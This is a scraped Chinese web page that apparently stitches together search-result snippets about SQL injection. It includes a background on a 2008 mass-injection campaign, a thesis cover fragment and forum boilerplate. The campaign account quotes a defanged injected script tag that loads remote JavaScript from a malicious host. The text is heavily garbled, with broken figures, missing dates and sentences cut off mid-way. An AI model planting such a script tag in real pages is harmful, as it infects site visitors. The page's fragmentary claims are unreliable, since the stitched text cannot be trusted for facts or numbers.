由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助...。 事件背景?
迹象:根据日的估测,中国大陆、香港、台湾的12万网站均受到了SQL 注入攻击。在大中华地区,一个&&script src=hxxp://s.see9.us/s.js&” 的脚本注入到了许多公共网站,包括政府、教育部门、非政府组织的慈善机构,以及一些企业的站点。? 攻击时间及规模:首次攻击在2008年1月,发现至今的5个月里,经过微软安全支持团队的监控与分析,发现日的这次爆发并非第一起SQL 注入攻击。在过去的4个月中,已有过3次大规模攻击:1. 2008年1月初,包括CA.com 等成千上万的网站受到了SQL 注入攻击(&1,页/天)。2. 2008年3月中旬,包括TrendMicro.jp 在内的网站受到了SQL 注入攻击(&1,页/天)。3. 2008年4月中旬,包括英国政府和联合国的网站都受到了SQL 注入攻击(&1,页/天)。 SQL 注入攻击行为产生的流程包含各类专业文献、文学作品欣赏、外语学习资料、专业论文、行业资料、应用写作文书、SQL注入攻击是黑客对数据库进行攻击的常用手段67等内容。 
 计算机科学与技术 级: 09 本 学生姓名: 何 指导教师: 史胜利 二一三 年五月 包头师范学院本科毕业论文 摘要 SQL 注入攻击是黑客对数据库进行攻击的常用手段...  黑客通过 SQL 注入攻 击可以拿到网站数据库的访问...但这种手段只对只对 Statement 有效, PreparedStatement...一个比较常见的例子来简要说明一下 sql 注入的原 ...  投诉违规内容,请到百度文库投诉中心;如要提出功能问题或意见建议,请点击此处进行...SQL 注入攻击 SQL 注入攻击是黑客对数据库进行攻击的常用手段之一。随着 B/S ...  SQL 注入攻击是黑客对数据库进行攻击的常用手段之一。随着 B/S 模式应用 开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员 的水平及经验...  一.Sql 注入原理 SQL 注入攻击是黑客对数据库进行攻击的常用手段之一。随着 B/S 模式应用 开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序...  防御方法、黑客入侵、脚本攻击、网站安全、数据库安全 引言:随着数据库技术及 B/S 模式应用技术的发展,SQL 注入攻击也成了黑客对数据库进行 攻击的常用手段之一。...  注入式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾 渭分明。...模式应用技术的发展,SQL 注入攻击也成了黑客对数据库进行攻 击的常用手段之一...  防御方法、黑客入侵、脚本攻击、网站安全、数据库安全 引言:随着数据库技术及 B/S 模式应用技术的发展,SQL 注入攻击也成了黑客对数据库进行 攻击的常用手段之一。...  黑客的选择:六大数据库攻击手段_IT/计算机_专业资料...针对未打补丁的数据库漏洞 5.SQL 注入 6.窃取备份...销售副总裁 Ted Julian 说,“这是一种常见的威胁...

我要回帖

更多关于 sql注入语句 的文章

 

随机推荐